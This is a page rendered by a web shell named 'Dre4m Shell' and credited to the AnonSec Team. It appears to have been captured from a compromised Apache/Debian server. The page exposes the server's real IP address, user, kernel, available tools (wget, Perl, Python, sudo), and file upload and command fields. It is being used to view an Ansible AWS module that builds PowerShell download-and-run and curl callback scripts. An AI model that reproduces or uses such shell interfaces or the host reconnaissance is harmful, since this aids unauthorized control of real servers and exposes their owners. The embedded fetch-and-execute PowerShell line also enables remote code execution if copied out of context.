Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.138.113.44
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/ansible_collections/amazon/aws/plugins/module_utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/python3/dist-packages/ansible_collections/amazon/aws/plugins/module_utils/tower.py
# Copyright: Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function
__metaclass__ = type

import string
import textwrap

from ansible.module_utils._text import to_native
from ansible.module_utils.six.moves.urllib import parse as urlparse


def _windows_callback_script(passwd=None):
    script_url = 'https://raw.githubusercontent.com/ansible/ansible/devel/examples/scripts/ConfigureRemotingForAnsible.ps1'
    if passwd is not None:
        passwd = passwd.replace("'", "''")
        script_tpl = """\
        <powershell>
        $admin = [adsi]('WinNT://./administrator, user')
        $admin.PSBase.Invoke('SetPassword', '${PASS}')
        Invoke-Expression ((New-Object System.Net.Webclient).DownloadString('${SCRIPT}'))
        </powershell>
        """
    else:
        script_tpl = """\
        <powershell>
        $admin = [adsi]('WinNT://./administrator, user')
        Invoke-Expression ((New-Object System.Net.Webclient).DownloadString('${SCRIPT}'))
        </powershell>
        """

    tpl = string.Template(textwrap.dedent(script_tpl))
    return tpl.safe_substitute(PASS=passwd, SCRIPT=script_url)


def _linux_callback_script(tower_address, template_id, host_config_key):
    template_id = urlparse.quote(template_id)
    tower_address = urlparse.quote(tower_address)
    host_config_key = host_config_key.replace("'", "'\"'\"'")

    script_tpl = """\
    #!/bin/bash
    set -x

    retry_attempts=10
    attempt=0
    while [[ $attempt -lt $retry_attempts ]]
    do
      status_code=$(curl --max-time 10 -v -k -s -i \
        --data 'host_config_key=${host_config_key}' \
        'https://${tower_address}/api/v2/job_templates/${template_id}/callback/' \
        | head -n 1 \
        | awk '{print $2}')
      if [[ $status_code == 404 ]]
        then
        status_code=$(curl --max-time 10 -v -k -s -i \
          --data 'host_config_key=${host_config_key}' \
          'https://${tower_address}/api/v1/job_templates/${template_id}/callback/' \
          | head -n 1 \
          | awk '{print $2}')
        # fall back to using V1 API for Tower 3.1 and below, since v2 API will always 404
      fi
      if [[ $status_code == 201 ]]
        then
        exit 0
      fi
      attempt=$(( attempt + 1 ))
      echo "$${status_code} received... retrying in 1 minute. (Attempt $${attempt})"
      sleep 60
    done
    exit 1
    """
    tpl = string.Template(textwrap.dedent(script_tpl))
    return tpl.safe_substitute(tower_address=tower_address,
                               template_id=template_id,
                               host_config_key=host_config_key)


def tower_callback_script(tower_address, job_template_id, host_config_key, windows, passwd):
    if windows:
        return to_native(_windows_callback_script(passwd=passwd))
    return _linux_callback_script(tower_address, job_template_id, host_config_key)

Anon7 - 2022
AnonSec Team